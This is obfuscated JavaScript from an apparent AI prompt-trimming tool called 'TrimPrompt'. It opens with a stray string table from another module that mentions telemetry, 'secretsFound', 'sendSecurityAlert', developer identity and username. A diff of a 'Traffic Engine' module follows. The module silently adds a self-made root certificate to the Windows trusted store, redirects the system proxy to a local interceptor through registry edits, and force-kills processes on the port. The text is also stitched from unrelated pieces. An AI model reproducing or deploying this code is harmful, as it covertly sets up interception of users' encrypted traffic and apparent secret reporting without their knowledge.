_0x150b06=['gemini','cursor','Claude\x203.5\x20Sonnet','Gemini\x203.1\x20Flash-Lite','length','claude-3-5-sonnet','GPT-5.4','Claude\x20Opus\x204.7','.raw.txt','opus','Claude\x20Opus\x204.1\x20(deprecated)','sonnet','modelShort','claude','stringify','call','__createBinding','claude-sonnet-4-5','GPT-4o','saveConfig','includes','baseDir','toFixed','utf8','existsSync','defineProperty','secretTypes','121670choodN','CLAUDE_EFFORT','default','join','aider','model','/api/security/alert','REPL_ID','input_price_1m','pop','unknown','GPT-4.1\x20Mini','mkdirSync','replit','execPath','env','o3mini','sync.js','CLINE_DATA_DIR','flash','GPT-5.4\x20Mini','prototype','tool','writeFileSync','model_used','child_process','TRIMPROMPT_MODEL','OpenAI\x20o1-mini','TRIMPROMPT_TELEMETRY_URL','isArray','push','22jdYtqU','config','getConfig','high','1.0','readFileSync','tokens_saved','GPT-5.4\x20Nano','claude-sonnet-4-6','AIDER_MODEL','triggerBackgroundSync','343792SAEwAf','2185290MvSyOx','codex','getDevIdentity','telemetry_url','20DjqcGp','ignore','Gemini\x203.5\x20Live\x20Translate','__esModule','configurable','logsDir','Cursor\x20Small','userInfo','__setModuleDefault',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','configPath','COPILOT_MODEL','setConfig','20940cdPiOW','.tmp','3774370gbZEJR','spawn','trim','998105OxqIYk','Claude\x20Sonnet\x204.6','get','saveLogs','execSync','o3-mini','claude-opus-4-8','auto','windsurf','Claude\x20Fable\x205','Claude\x20Mythos\x205','hasOwnProperty','OpenAI\x20o1','6NEbHaX','claude_code','copilot','AI_AGENT','Tracker','secretsFound','sendSecurityAlert','statsPath','136070tUEJdn','ceil','unref','split','.comp.txt','getLogs','username','7EYlgpf','toISOString','gemini-3-1-pro','PATH','random','getOwnPropertyDescriptor','Claude\x20Haiku\x204.5','redact','logs','getStatsSummary','OpenAI\x20o3-mini','./redactor','cline','claude-code','Claude\x20Haiku\x203.5','renameSync','config.json','cachedDevId','devin','antigravity','pipe','tracker','command','VSCODE_PID','PRICING','REPLIT_ENVIRONMENT','ANTIGRAVITY_AGENT',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','Claude\x20Opus\x204.8','toLowerCase','estimated_compressed_tokens','init','CLAUDECODE'];a0_0x42dd=function(){return _0x150b06;};return a0_0x42dd();}
@@ -1 +1 @@
1
- 'use strict';const a0_0x367e53=a0_0x594e;(function(_0x15013b,_0x3bf6e7){const _0x46df42=a0_0x594e,_0x49a746=_0x15013b();while(!![]){try{const _0x16b4bb=-parseInt(_0x46df42(0x11d))/0x1+-parseInt(_0x46df42(0x14e))/0x2+-parseInt(_0x46df42(0x120))/0x3*(parseInt(_0x46df42(0x129))/0x4)+parseInt(_0x46df42(0x169))/0x5*(parseInt(_0x46df42(0x130))/0x6)+-parseInt(_0x46df42(0x124))/0x7*(-parseInt(_0x46df42(0x118))/0x8)+parseInt(_0x46df42(0x134))/0x9*(-parseInt(_0x46df42(0x147))/0xa)+-parseInt(_0x46df42(0x167))/0xb*(-parseInt(_0x46df42(0x140))/0xc);if(_0x16b4bb===_0x3bf6e7)break;else _0x49a746['push'](_0x49a746['shift']());}catch(_0x4de4db){_0x49a746['push'](_0x49a746['shift']());}}}(a0_0x5ba6,0x9719a));function a0_0x594e(_0x4eec54,_0x10e92b){const _0x5ba639=a0_0x5ba6();return a0_0x594e=function(_0x594e0a,_0x512093){_0x594e0a=_0x594e0a-0x113;let _0x1d26c5=_0x5ba639[_0x594e0a];return _0x1d26c5;},a0_0x594e(_0x4eec54,_0x10e92b);}var __createBinding=this&&this[a0_0x367e53(0x15b)]||(Object[a0_0x367e53(0x11c)]?function(_0x2df8bc,_0x2d0741,_0x5158d2,_0x3def0e){const _0x1ca4e2=a0_0x367e53;if(_0x3def0e===undefined)_0x3def0e=_0x5158d2;var _0x4a8c5d=Object[_0x1ca4e2(0x150)](_0x2d0741,_0x5158d2);(!_0x4a8c5d||('get'in _0x4a8c5d?!_0x2d0741[_0x1ca4e2(0x14c)]:_0x4a8c5d[_0x1ca4e2(0x131)]||_0x4a8c5d[_0x1ca4e2(0x151)]))&&(_0x4a8c5d={'enumerable':!![],'get':function(){return _0x2d0741[_0x5158d2];}}),Object[_0x1ca4e2(0x123)](_0x2df8bc,_0x3def0e,_0x4a8c5d);}:function(_0x39d889,_0x5f10d2,_0x5d08f7,_0x4ba8d8){if(_0x4ba8d8===undefined)_0x4ba8d8=_0x5d08f7;_0x39d889[_0x4ba8d8]=_0x5f10d2[_0x5d08f7];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x367e53(0x11c)]?function(_0x4781b7,_0x4c71b6){const _0x2bc508=a0_0x367e53;Object['defineProperty'](_0x4781b7,_0x2bc508(0x14a),{'enumerable':!![],'value':_0x4c71b6});}:function(_0x1585d2,_0xf7acaf){const _0xb85d51=a0_0x367e53;_0x1585d2[_0xb85d51(0x14a)]=_0xf7acaf;}),__importStar=this&&this[a0_0x367e53(0x145)]||(function(){var _0x11b664=function(_0x288ad2){const _0x11918f=a0_0x594e;return _0x11b664=Object[_0x11918f(0x133)]||function(_0x23c44b){const _0x25fea4=_0x11918f;var _0xf5aabb=[];for(var _0x5b3648 in _0x23c44b)if(Object['prototype'][_0x25fea4(0x166)][_0x25fea4(0x136)](_0x23c44b,_0x5b3648))_0xf5aabb[_0xf5aabb[_0x25fea4(0x14d)]]=_0x5b3648;return _0xf5aabb;},_0x11b664(_0x288ad2);};return function(_0x278e7d){const _0x4a5147=a0_0x594e;if(_0x278e7d&&_0x278e7d[_0x4a5147(0x14c)])return _0x278e7d;var _0x1f3571={};if(_0x278e7d!=null){for(var _0x3dbbe9=_0x11b664(_0x278e7d),_0x527a07=0x0;_0x527a07<_0x3dbbe9['length'];_0x527a07++)if(_0x3dbbe9[_0x527a07]!==_0x4a5147(0x14a))__createBinding(_0x1f3571,_0x278e7d,_0x3dbbe9[_0x527a07]);}return __setModuleDefault(_0x1f3571,_0x278e7d),_0x1f3571;};}());Object[a0_0x367e53(0x123)](exports,a0_0x367e53(0x14c),{'value':!![]}),exports[a0_0x367e53(0x162)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports['enableSystemProxy']=enableSystemProxy,exports[a0_0x367e53(0x12a)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x367e53(0x128))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x367e53(0x115))),crypto=__importStar(require('crypto')),child_process_1=require(a0_0x367e53(0x121)),baseDir=path[a0_0x367e53(0x13c)](os[a0_0x367e53(0x144)](),'.trimprompt'),caCertPath=path[a0_0x367e53(0x13c)](baseDir,'ca.crt'),caKeyPath=path['join'](baseDir,'ca.key');function ensureBaseDir(){const _0x7b4cb1=a0_0x367e53;if(!fs['existsSync'](baseDir))fs[_0x7b4cb1(0x13a)](baseDir,{'recursive':!![]});}function a0_0x5ba6(){const _0x4fee72=['http','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','spki','814328DdyTfe','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','connect','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','create','868758fuErSA','pipe','write','411SDoNUX','child_process','win32','defineProperty','7fcIxbz','\x20/F','readFileSync','split','path','644urhYYm','disableSystemProxy','ignore','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','application/json','trim','url','1563522WhqwRa','writable','createServer','getOwnPropertyNames','227943KaFOPC','\x20|\x20findstr\x20LISTENING','call','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','generateKeyPairSync','taskkill\x20/PID\x20','mkdirSync','.\x20Retrying\x20listen...','join','sign','toString','replace','2129532MDLSbf','pid','Set-ItemProperty\x20-Path\x20\x27','sha256','homedir','__importStar','writeFileSync','430YYgchG','createPrivateKey','TrimPrompt\x20Traffic\x20Interceptor\x20Active','default','error','__esModule','length','1183526MsBNac','end','getOwnPropertyDescriptor','configurable','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','execSync','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','setSubject','rsa','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27','powershell.exe\x20-NoProfile\x20-Command\x20\x22','platform','export','__createBinding','127.0.0.1','netstat\x20-ano\x20|\x20findstr\x20:','writeHead','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','createCertificate','127.0.0.1:','generateCaCertificate','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','existsSync','listen','hasOwnProperty','143Uibskd','pem','15lalrYW','utf8','log','setIssuer','request'];a0_0x5ba6=function(){return _0x4fee72;};return a0_0x5ba6();}function generateCaCertificate(){const _0x3d5879=a0_0x367e53;ensureBaseDir();if(fs['existsSync'](caCertPath)&&fs[_0x3d5879(0x164)](caKeyPath))return{'cert':fs[_0x3d5879(0x126)](caCertPath,_0x3d5879(0x16a)),'key':fs['readFileSync'](caKeyPath,_0x3d5879(0x16a))};const {privateKey:_0x4376fe,publicKey:_0x10a529}=crypto[_0x3d5879(0x138)](_0x3d5879(0x156),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x3d5879(0x117),'format':_0x3d5879(0x168)},'privateKeyEncoding':{'type':'pkcs8','format':_0x3d5879(0x168)}}),_0x3fd0cb=crypto['createCertificate']?crypto[_0x3d5879(0x160)]():null;let _0x1241f1='';return _0x3fd0cb?(_0x3fd0cb[_0x3d5879(0x155)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x3fd0cb[_0x3d5879(0x113)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x3fd0cb['setPublicKey'](crypto['createPublicKey'](_0x10a529)),_0x3fd0cb[_0x3d5879(0x13d)](crypto[_0x3d5879(0x148)](_0x4376fe),_0x3d5879(0x143)),_0x1241f1=_0x3fd0cb[_0x3d5879(0x15a)](_0x3d5879(0x168))[_0x3d5879(0x13e)]()):_0x1241f1=_0x10a529,fs[_0x3d5879(0x146)](caKeyPath,_0x4376fe,'utf8'),fs[_0x3d5879(0x146)](caCertPath,_0x1241f1,'utf8'),{'cert':_0x1241f1,'key':_0x4376fe};}function installSystemCaCert(){const _0x7a57ff=a0_0x367e53;if(process['platform']!==_0x7a57ff(0x122))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x7a57ff(0x153)])(_0x7a57ff(0x154)+caCertPath+'\x22',{'stdio':_0x7a57ff(0x12b),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x423c84=0x1f90){const _0x31df85=a0_0x367e53;if(process[_0x31df85(0x159)]!=='win32')return![];try{const _0x26fdc5=_0x31df85(0x152),_0x223eab=_0x31df85(0x161)+_0x423c84,_0x1ab1aa=_0x31df85(0x142)+_0x26fdc5+_0x31df85(0x157)+_0x26fdc5+_0x31df85(0x163)+_0x223eab+'\x27';return(0x0,child_process_1[_0x31df85(0x153)])(_0x31df85(0x158)+_0x1ab1aa[_0x31df85(0x13f)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x36124e=a0_0x367e53;if(process[_0x36124e(0x159)]!==_0x36124e(0x122))return![];try{const _0x48384e=_0x36124e(0x152),_0x298aa5=_0x36124e(0x142)+_0x48384e+_0x36124e(0x12c);return(0x0,child_process_1[_0x36124e(0x153)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x298aa5['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x36124e(0x12b),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x3926ff=0x1f90){const _0x4b8b98=a0_0x367e53,_0x327b32=http[_0x4b8b98(0x132)]();_0x327b32['on'](_0x4b8b98(0x14b),_0x5295fa=>{const _0x4190fc=_0x4b8b98;if(_0x5295fa['code']==='EADDRINUSE'){console[_0x4190fc(0x16b)](_0x4190fc(0x116)+_0x3926ff+_0x4190fc(0x119));try{if(process[_0x4190fc(0x159)]===_0x4190fc(0x122)){const _0x45622b=(0x0,child_process_1[_0x4190fc(0x153)])(_0x4190fc(0x15d)+_0x3926ff+_0x4190fc(0x135),{'encoding':_0x4190fc(0x16a),'timeout':0xbb8}),_0x2d2705=_0x45622b[_0x4190fc(0x12e)]()[_0x4190fc(0x127)](/\s+/),_0x2f9541=_0x2d2705[_0x2d2705['length']-0x1];if(_0x2f9541&&_0x2f9541!==String(process[_0x4190fc(0x141)])){(0x0,child_process_1[_0x4190fc(0x153)])(_0x4190fc(0x139)+_0x2f9541+_0x4190fc(0x125),{'stdio':_0x4190fc(0x12b),'timeout':0xbb8}),console[_0x4190fc(0x16b)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x2f9541+_0x4190fc(0x13b)),setTimeout(()=>_0x327b32[_0x4190fc(0x165)](_0x3926ff,'127.0.0.1'),0x1f4);return;}}}catch{}console[_0x4190fc(0x14b)](_0x4190fc(0x116)+_0x3926ff+_0x4190fc(0x137));}else console[_0x4190fc(0x14b)](_0x4190fc(0x15f)+_0x5295fa['message']);}),_0x327b32['on'](_0x4b8b98(0x114),(_0x19c355,_0x2a2006)=>{const _0xd0e660=_0x4b8b98;_0x2a2006[_0xd0e660(0x15e)](0xc8,{'Content-Type':_0xd0e660(0x12d)}),_0x2a2006[_0xd0e660(0x14f)](JSON['stringify']({'status':_0xd0e660(0x149),'url':_0x19c355[_0xd0e660(0x12f)]}));}),_0x327b32['on']('connect',(_0x21b0d0,_0x5881e7,_0x90ac19)=>{const _0x1608ce=_0x4b8b98,[_0x207ee0,_0x42e0ad]=(_0x21b0d0['url']||'')[_0x1608ce(0x127)](':'),_0x3ccab3=parseInt(_0x42e0ad,0xa)||0x1bb,_0x386eeb=net[_0x1608ce(0x11a)](_0x3ccab3,_0x207ee0,()=>{const _0x2fa034=_0x1608ce;_0x5881e7[_0x2fa034(0x11f)](_0x2fa034(0x11b)),_0x386eeb[_0x2fa034(0x11f)](_0x90ac19),_0x386eeb[_0x2fa034(0x11e)](_0x5881e7),_0x5881e7[_0x2fa034(0x11e)](_0x386eeb);});_0x386eeb['on'](_0x1608ce(0x14b),()=>{const _0x343b18=_0x1608ce;try{_0x5881e7[_0x343b18(0x14f)]();}catch{}}),_0x5881e7['on'](_0x1608ce(0x14b),()=>{const _0x45fc5a=_0x1608ce;try{_0x386eeb[_0x45fc5a(0x14f)]();}catch{}});}),_0x327b32[_0x4b8b98(0x165)](_0x3926ff,_0x4b8b98(0x15c),()=>{console['log']('[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:'+_0x3926ff);});}
1
+ 'use strict';const a0_0xf94fc0=a0_0x9311;(function(_0x280e9b,_0x5dfcf5){const _0x512c67=a0_0x9311,_0x1cf3e2=_0x280e9b();while(!![]){try{const _0x1f3d75=parseInt(_0x512c67(0x14f))/0x1*(-parseInt(_0x512c67(0x146))/0x2)+parseInt(_0x512c67(0x13c))/0x3+parseInt(_0x512c67(0x150))/0x4*(parseInt(_0x512c67(0x129))/0x5)+parseInt(_0x512c67(0x142))/0x6+parseInt(_0x512c67(0x116))/0x7+-parseInt(_0x512c67(0x13e))/0x8*(-parseInt(_0x512c67(0x13b))/0x9)+-parseInt(_0x512c67(0x141))/0xa;if(_0x1f3d75===_0x5dfcf5)break;else _0x1cf3e2['push'](_0x1cf3e2['shift']());}catch(_0x1f9bb0){_0x1cf3e2['push'](_0x1cf3e2['shift']());}}}(a0_0x5891,0xb8d37));function a0_0x5891(){const _0x3ae180=['readFileSync','hasOwnProperty','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','replace','ignore','Set-ItemProperty\x20-Path\x20\x27','write','14048UyHLTo','4UEmyFB','homedir','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','spki','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','length','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeHead','default','log','code','writeFileSync','pid','join','crypto','.\x20Retrying\x20listen...','execSync','setSubject','defineProperty','createPrivateKey','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','split','__importStar','disableSystemProxy','win32','EADDRINUSE','connect','stringify','http','5755568vtzrnu','request','listen','error','existsSync','getOwnPropertyNames','enableSystemProxy','configurable','[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20','powershell.exe\x20-NoProfile\x20-Command\x20\x22','127.0.0.1','toString','create','ca.crt','__setModuleDefault','TrimPrompt\x20Traffic\x20Interceptor\x20Active','get','utf8','platform','7141965oTXfcv','prototype','setPublicKey','pipe','generateKeyPairSync','installSystemCaCert','pem','url','rsa','trim','createServer','child_process','createCertificate','sha256','127.0.0.1:','startTrafficInterceptor','.trimprompt','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','26613OFQtyd','3020598HvYokT','call','3936PUUdbO','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','__esModule','45093680wCXswg','5768880FeEiim','export','generateCaCertificate','application/json','58nXGAZG','end'];a0_0x5891=function(){return _0x3ae180;};return a0_0x5891();}var __createBinding=this&&this['__createBinding']||(Object[a0_0xf94fc0(0x122)]?function(_0xe761a7,_0x4642f4,_0x11cf32,_0x921b89){const _0x542dba=a0_0xf94fc0;if(_0x921b89===undefined)_0x921b89=_0x11cf32;var _0x44e644=Object['getOwnPropertyDescriptor'](_0x4642f4,_0x11cf32);(!_0x44e644||(_0x542dba(0x126)in _0x44e644?!_0x4642f4['__esModule']:_0x44e644['writable']||_0x44e644[_0x542dba(0x11d)]))&&(_0x44e644={'enumerable':!![],'get':function(){return _0x4642f4[_0x11cf32];}}),Object[_0x542dba(0x10b)](_0xe761a7,_0x921b89,_0x44e644);}:function(_0x1ba39a,_0x468803,_0x48ef12,_0x23eb15){if(_0x23eb15===undefined)_0x23eb15=_0x48ef12;_0x1ba39a[_0x23eb15]=_0x468803[_0x48ef12];}),__setModuleDefault=this&&this[a0_0xf94fc0(0x124)]||(Object[a0_0xf94fc0(0x122)]?function(_0x4a3cd3,_0x1a829a){const _0x32c0cd=a0_0xf94fc0;Object[_0x32c0cd(0x10b)](_0x4a3cd3,_0x32c0cd(0x15a),{'enumerable':!![],'value':_0x1a829a});}:function(_0x37757e,_0x5a9416){_0x37757e['default']=_0x5a9416;}),__importStar=this&&this[a0_0xf94fc0(0x10f)]||(function(){var _0x5010d0=function(_0x473ee3){const _0x4e92e1=a0_0x9311;return _0x5010d0=Object[_0x4e92e1(0x11b)]||function(_0x403380){const _0x529061=_0x4e92e1;var _0x16772e=[];for(var _0x1046ae in _0x403380)if(Object[_0x529061(0x12a)][_0x529061(0x149)][_0x529061(0x13d)](_0x403380,_0x1046ae))_0x16772e[_0x16772e['length']]=_0x1046ae;return _0x16772e;},_0x5010d0(_0x473ee3);};return function(_0x5b00b2){const _0x3541e7=a0_0x9311;if(_0x5b00b2&&_0x5b00b2[_0x3541e7(0x140)])return _0x5b00b2;var _0x16f129={};if(_0x5b00b2!=null){for(var _0x3c4137=_0x5010d0(_0x5b00b2),_0x4bcd84=0x0;_0x4bcd84<_0x3c4137[_0x3541e7(0x156)];_0x4bcd84++)if(_0x3c4137[_0x4bcd84]!==_0x3541e7(0x15a))__createBinding(_0x16f129,_0x5b00b2,_0x3c4137[_0x4bcd84]);}return __setModuleDefault(_0x16f129,_0x5b00b2),_0x16f129;};}());Object[a0_0xf94fc0(0x10b)](exports,'__esModule',{'value':!![]}),exports[a0_0xf94fc0(0x144)]=generateCaCertificate,exports[a0_0xf94fc0(0x12e)]=installSystemCaCert,exports[a0_0xf94fc0(0x11c)]=enableSystemProxy,exports[a0_0xf94fc0(0x110)]=disableSystemProxy,exports[a0_0xf94fc0(0x138)]=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0xf94fc0(0x115))),crypto=__importStar(require(a0_0xf94fc0(0x107))),child_process_1=require(a0_0xf94fc0(0x134)),baseDir=path['join'](os[a0_0xf94fc0(0x151)](),a0_0xf94fc0(0x139)),caCertPath=path[a0_0xf94fc0(0x106)](baseDir,a0_0xf94fc0(0x123)),caKeyPath=path[a0_0xf94fc0(0x106)](baseDir,'ca.key');function ensureBaseDir(){const _0x10973d=a0_0xf94fc0;if(!fs[_0x10973d(0x11a)](baseDir))fs['mkdirSync'](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x2525d2=a0_0xf94fc0;ensureBaseDir();if(fs[_0x2525d2(0x11a)](caCertPath)&&fs['existsSync'](caKeyPath))return{'cert':fs['readFileSync'](caCertPath,_0x2525d2(0x127)),'key':fs[_0x2525d2(0x148)](caKeyPath,_0x2525d2(0x127))};const {privateKey:_0xcecdcb,publicKey:_0x5298f6}=crypto[_0x2525d2(0x12d)](_0x2525d2(0x131),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x2525d2(0x153),'format':_0x2525d2(0x12f)},'privateKeyEncoding':{'type':'pkcs8','format':'pem'}}),_0x3fc8bf=crypto[_0x2525d2(0x135)]?crypto[_0x2525d2(0x135)]():null;let _0x25711e='';return _0x3fc8bf?(_0x3fc8bf[_0x2525d2(0x10a)](_0x2525d2(0x13a)),_0x3fc8bf['setIssuer'](_0x2525d2(0x13a)),_0x3fc8bf[_0x2525d2(0x12b)](crypto['createPublicKey'](_0x5298f6)),_0x3fc8bf['sign'](crypto[_0x2525d2(0x10c)](_0xcecdcb),_0x2525d2(0x136)),_0x25711e=_0x3fc8bf[_0x2525d2(0x143)](_0x2525d2(0x12f))[_0x2525d2(0x121)]()):_0x25711e=_0x5298f6,fs[_0x2525d2(0x15d)](caKeyPath,_0xcecdcb,_0x2525d2(0x127)),fs[_0x2525d2(0x15d)](caCertPath,_0x25711e,_0x2525d2(0x127)),{'cert':_0x25711e,'key':_0xcecdcb};}function installSystemCaCert(){const _0x52a2e9=a0_0xf94fc0;if(process['platform']!==_0x52a2e9(0x111))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x52a2e9(0x109)])(_0x52a2e9(0x158)+caCertPath+'\x22',{'stdio':_0x52a2e9(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x3a89db=0x1f90){const _0x588c28=a0_0xf94fc0;if(process[_0x588c28(0x128)]!=='win32')return![];try{const _0xd17b49=_0x588c28(0x13f),_0x1598e6=_0x588c28(0x137)+_0x3a89db,_0x5ed426=_0x588c28(0x14d)+_0xd17b49+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xd17b49+_0x588c28(0x154)+_0x1598e6+'\x27';return(0x0,child_process_1['execSync'])(_0x588c28(0x11f)+_0x5ed426[_0x588c28(0x14b)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x588c28(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function a0_0x9311(_0x153513,_0xeefaa9){const _0x5891cc=a0_0x5891();return a0_0x9311=function(_0x93117a,_0x2d62a8){_0x93117a=_0x93117a-0x106;let _0x2ac946=_0x5891cc[_0x93117a];return _0x2ac946;},a0_0x9311(_0x153513,_0xeefaa9);}function disableSystemProxy(){const _0x446b17=a0_0xf94fc0;if(process[_0x446b17(0x128)]!==_0x446b17(0x111))return![];try{const _0x149079='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x3d0a3c=_0x446b17(0x14d)+_0x149079+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200';return(0x0,child_process_1[_0x446b17(0x109)])(_0x446b17(0x11f)+_0x3d0a3c[_0x446b17(0x14b)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x446b17(0x14c),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x551853=0x1f90){const _0x536c67=a0_0xf94fc0,_0x205c57=http[_0x536c67(0x133)]();_0x205c57['on'](_0x536c67(0x119),_0x4f94ca=>{const _0x36b709=_0x536c67;if(_0x4f94ca[_0x36b709(0x15c)]===_0x36b709(0x112)){console[_0x36b709(0x15b)](_0x36b709(0x152)+_0x551853+_0x36b709(0x155));try{if(process['platform']==='win32'){const _0xd1b36b=(0x0,child_process_1['execSync'])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x551853+'\x20|\x20findstr\x20LISTENING',{'encoding':_0x36b709(0x127),'timeout':0xbb8}),_0x3e1c15=_0xd1b36b[_0x36b709(0x132)]()['split'](/\s+/),_0x396c3f=_0x3e1c15[_0x3e1c15[_0x36b709(0x156)]-0x1];if(_0x396c3f&&_0x396c3f!==String(process[_0x36b709(0x15e)])){(0x0,child_process_1['execSync'])('taskkill\x20/PID\x20'+_0x396c3f+'\x20/F',{'stdio':_0x36b709(0x14c),'timeout':0xbb8}),console[_0x36b709(0x15b)](_0x36b709(0x11e)+_0x396c3f+_0x36b709(0x108)),setTimeout(()=>_0x205c57['listen'](_0x551853,_0x36b709(0x120)),0x1f4);return;}}}catch{}console[_0x36b709(0x119)]('[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20'+_0x551853+_0x36b709(0x157));}else console['error'](_0x36b709(0x10d)+_0x4f94ca['message']);}),_0x205c57['on'](_0x536c67(0x117),(_0xadf103,_0x173e68)=>{const _0x22a07f=_0x536c67;_0x173e68[_0x22a07f(0x159)](0xc8,{'Content-Type':_0x22a07f(0x145)}),_0x173e68['end'](JSON[_0x22a07f(0x114)]({'status':_0x22a07f(0x125),'url':_0xadf103[_0x22a07f(0x130)]}));}),_0x205c57['on']('connect',(_0x1a4a69,_0x2dfaea,_0x24c6f8)=>{const _0x2c89b4=_0x536c67,[_0x18525f,_0x58d9d2]=(_0x1a4a69[_0x2c89b4(0x130)]||'')[_0x2c89b4(0x10e)](':'),_0x470408=parseInt(_0x58d9d2,0xa)||0x1bb,_0x32d38f=net[_0x2c89b4(0x113)](_0x470408,_0x18525f,()=>{const _0x27bf48=_0x2c89b4;_0x2dfaea[_0x27bf48(0x14e)]('HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a'),_0x32d38f[_0x27bf48(0x14e)](_0x24c6f8),_0x32d38f[_0x27bf48(0x12c)](_0x2dfaea),_0x2dfaea[_0x27bf48(0x12c)](_0x32d38f);});_0x32d38f['on']('error',()=>{const _0x367dbd=_0x2c89b4;try{_0x2dfaea[_0x367dbd(0x147)]();}catch{}}),_0x2dfaea['on'](_0x2c89b4(0x119),()=>{const _0x39eb5d=_0x2c89b4;try{_0x32d38f[_0x39eb5d(0x147)]();}catch{}});}),_0x205c57[_0x536c67(0x118)](_0x551853,_0x536c67(0x120),()=>{const _0x28d570=_0x536c67;console['log'](_0x28d570(0x14a)+_0x551853);});}